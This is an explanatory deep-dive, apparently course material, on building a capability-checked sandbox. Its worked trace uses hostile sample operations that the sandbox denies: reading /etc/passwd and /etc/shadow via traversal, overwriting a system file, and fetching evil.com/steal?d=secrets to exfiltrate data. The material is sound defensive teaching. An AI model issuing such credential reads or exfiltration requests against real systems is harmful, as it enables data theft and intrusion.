« Phase 09 README · Warmup · Hitchhiker's · Principal Deep Dive · Core Contributor · Staff Notes

Phase 09 — Deep Dive: Secure Execution: Sandboxing & Capabilities

The load-bearing idea in this phase is one clause: the capability check runs before the side effect, and a failed check produces data, never an exception and never a mutation. Everything else — the allow-lists, the budgets, the driver — is scaffolding around that single ordering invariant. This document is about the mechanism: the exact control flow inside Sandbox.run, the state it mutates, the invariants that must hold at each step, and why every reordering of these steps breaks a different guarantee.

The three-stage pipeline inside run(op)

Sandbox.run is a fixed three-stage pipeline, and the stages are ordered by cost of getting them wrong, hardest-failing first:

  1. Halt gate. If self.halted is already true, return immediately with the stored self._halt_kind. This is the circuit-breaker: once a resource limit trips, the box is dead and every subsequent op — even a legal one — is refused. This check is first because a halted box must not charge budgets, dispatch, or touch state again.
  2. Hard budget charge. Increment self._ops_used; if it exceeds caps.max_ops, _halt. Then read the injected clock into self._wall_used; if it exceeds caps.max_wall, _halt. These are charged on every attempt, before dispatch, before the capability check — so a hostile op that would be denied anyway still consumes an op slot and a tick. That is deliberate: brute-forcing ten thousand denied reads to probe a path must burn the budget, or the budget is not a budget.
  3. Dispatch and capability check. Match op[0] to a handler (_fs_read, _fs_write, _net_fetch, _tool), and inside each handler the capability check precedes the effect.

The output budget (max_output_bytes) is charged differently — not up front, but at the moment data is produced, inside _charge_output, because you cannot know a read's size until you have the data in hand. That asymmetry is the one wrinkle in an otherwise uniform "charge-then-check" shape, and it is why output is metered inside the handlers rather than in the dispatcher.

The hard/soft split is one boolean and one latch

Two denial classes exist, and the distinction is not cosmetic — it is the difference between "that op was refused" and "this workload is over." The mechanism is minimal:

  • Soft denial (_deny) sets SandboxResult.hard=False, appends to the log, returns. No state changes beyond the op counter already charged. The workload may try a different op. Capability violations — path_traversal, fs_read_denied, fs_write_denied, egress_denied, tool_denied, unknown_op, not_found — are all soft.
  • Hard denial (_halt) sets self.halted = True, records self._halt_kind, and returns a result with hard=True. The three members of Sandbox._HARD — max_ops, max_wall, max_output_bytes — are the only violations that trip it.

The latch (self.halted) is what makes the halt stick. Without it, _halt would refuse one op and the next op would sail back into the pipeline. test_max_ops_limit_hard_halt asserts exactly this: after op 3 trips max_ops, op 4 — an otherwise-legal read — still returns hard=True. A resource breaker that resets itself is a leak; a compromised loop would just retry past it. The state machine here has two states, RUNNING and HALTED, and HALTED is absorbing.

The "no side effect on denial" invariant, mechanically

This is the invariant that makes the miniature a model of a sandbox rather than a permissions lint. It is enforced by ordering inside each handler, and each handler earns it differently.

_fs_write is the sharp case. The sequence is: has_traversal check, then under_allowlist check, and only then self.vfs.write. Because write is textually last, a denial on either check returns before the dict is touched. The test test_fs_write_denied_outside_allowlist_no_side_effect snapshots the VFS before, runs a denied write, and asserts vfs.snapshot() == before. If you had written self.vfs.write(...) first and validated after — even to "roll back" — you would have briefly created the file, and in a real filesystem "briefly created" is a TOCTOU window another thread reads through. The mechanism forbids the write from ever being attempted.

_net_fetch is the anti-exfiltration case and it is stricter still. Net.fetch appends to self.calls as its first line — recording that a packet left the box — before returning the canned response. So the only way to keep net.calls == [] after a denied fetch is to never call fetch at all. The egress check (host not in self.caps.net_hosts) therefore has to gate the call, and test_egress_denied_host_never_touches_network asserts net.calls == []. The design choice — put the observable side effect on the first line of the fake network — is what makes the test able to prove containment rather than just assert a return value. A sandbox that denies the fetch but has already opened the socket has already lost; here the socket is the append, and it never happens.

The traversal defense: belt and suspenders as two functions

Path confinement is two independent mechanisms, and the phase implements both because either alone has a known bypass.

Suspenders — canonicalize, then boundary-check. under_allowlist calls canonical (os.path.normpath) on the requested path and on each allowed prefix, then tests canon == root or canon.startswith(root.rstrip("/") + "/"). Normalizing first is what collapses /work/../etc/shadow to /etc/shadow, so the escape becomes visible as a canonical string that no longer lives under /work/. The boundary match — appending a trailing / before startswith — is what stops the classic prefix bug: raw "/workshop".startswith("/work") is true, but "/workshop".startswith("/work/") is false. test_allowlist_boundary_prefix_is_not_substring probes precisely this: /workshop/secret.txt must be fs_read_denied. Comparing raw strings, or comparing without the boundary, is the single most common hand-rolled-sandbox bug in the wild.

Belt — reject any .. segment outright. has_traversal splits on separators and returns true if any segment is exactly ... It runs first in every handler, so /work/../etc/shadow is denied as path_traversal before under_allowlist even runs. Note the precision: has_traversal checks for a segment equal to .., not for the substring .., so /work/..hidden (a filename that merely begins with two dots) is not flagged — test_path_traversal_helper_directly asserts that too. Substring matching here would produce false denials and teach the wrong lesson.

Why both? Because canonical normalizes away the very evidence the belt looks for. After normpath, there is no .. left to catch. The belt catches the intent on the raw string; the suspenders catch the result on the canonical string. In production the real boundary is the mount namespace and pivot_root — the workload's root filesystem simply is the allowed subtree — and even that needs symlink-race hardening on top. The lesson the two functions teach is that string-level path confinement is layered by necessity.

Immutability of authority, and why object.__setattr__

Capabilities is @dataclass(frozen=True). Freezing is not decoration: it enforces that authority can only shrink, never widen, mid-run — the same reason a Linux process that dropped a capability bit cannot re-add it. test_capabilities_is_immutable asserts that caps.max_ops = 10_000 raises. If the grant were mutable, a clever op sequence would hunt for the line that mutates it, and the entire allow-list model would be defeated by a single assignment.

The subtlety is __post_init__. It must normalize the incoming sequences to immutable tuples and a frozenset so a caller can pass plain lists, yet the object stays hashable and un-mutatable. But you cannot assign to a frozen dataclass with self.fs_read = ... — that is exactly what frozen=True forbids. So it uses object.__setattr__(self, "fs_read", tuple(...)), reaching under the frozen wrapper during construction only. This is the one sanctioned window in which the object is written; after __post_init__ returns, it is sealed. The same method validates budgets are non-negative and raises ValueError otherwise — a malformed grant fails at construction, not at first use.

A worked trace: eight model-proposed ops

Grant: fs_read=("/work/",), fs_write=("/work/out/",), net_hosts=("api.internal",), allowed_tools={"summarize"}, max_ops=7. Now walk the main() sequence op by op, tracking _ops_used and the two proof objects (vfs keys, net.calls):

  1. fs_read /work/data.txt — ops=1. No ..; under /work/; exists → ALLOW, returns the content.
  2. fs_read /etc/passwd — ops=2. No ..; canonical /etc/passwd not under /work/ → DENY fs_read_denied, soft. VFS untouched.
  3. fs_read /work/../etc/shadow — ops=3. has_traversal fires → DENY path_traversal, soft.
  4. fs_write /work/out/report.txt "done" — ops=4. No ..; under /work/out/ → ALLOW, VFS gains the key.
  5. fs_write /system/boot.cfg "pwned" — ops=5. Not under /work/out/ → DENY fs_write_denied, soft. write never called; /system/boot.cfg absent from the snapshot.
  6. net_fetch api.internal /status — ops=6. Host allow-listed → ALLOW; net.calls gains ("api.internal", "/status").
  7. net_fetch evil.com /steal?d=secrets — ops=7. evil.com not in net_hosts → DENY egress_denied, soft. fetch never called; evil.com never in net.calls.
  8. fs_read /work/data.txt — the halt gate passes (not yet halted), then _ops_used becomes 8, which exceeds max_ops=7 → HALT max_ops, hard=True, self.halted=True.

Final state: VFS holds /work/data.txt and /work/out/report.txt only — no /etc, no /system. net.calls holds only api.internal. Every denial changed nothing. That is the invariant, proven by the state rather than asserted by comment. Run the same list through SandboxedAgent.run_all and it stops at the first hard result — the driver's whole logic is if res.hard: break.

Why the naive mechanism fails

Each shortcut fails at a specific mechanical point, and naming the point is the seniority tell:

  • Ambient authority (run the code in-process, let it inherit your rights). There is no check to place before the effect, because the effect is a direct syscall the runtime makes on your behalf. The pipeline has no stage 3 to gate. This is why eval is theater, not a sandbox.
  • Act-then-check (do the write, validate, roll back on failure). The window between act and rollback is a real, observable state; another reader sees the partial write. The invariant is "no side effect," and a rollback is a side effect followed by a second side effect.
  • Deny-list (block /etc, block evil.com). The check is a membership test against the set of things you thought of; the unknown case — 0x7f.0.0.1, a host you forgot, /etc/../etc — returns "allow." Allow-lists invert the default so the unknown case returns "deny." The mechanism is the same membership test; only the default differs, and the default is everything.
  • Reading time.time() for the deadline. The clock stops being data you control and becomes ambient wall-time, so the trace is non-deterministic and untestable — test_deterministic could not pass. The injected make_tick_clock is what makes the wall budget a reproducible integer.

The through-line: containment is not a feature you add, it is an ordering you enforce — check before effect, charge before dispatch, fail closed, latch the halt. Get the order right in a Python if, and you understand the order the kernel enforces in ring 0.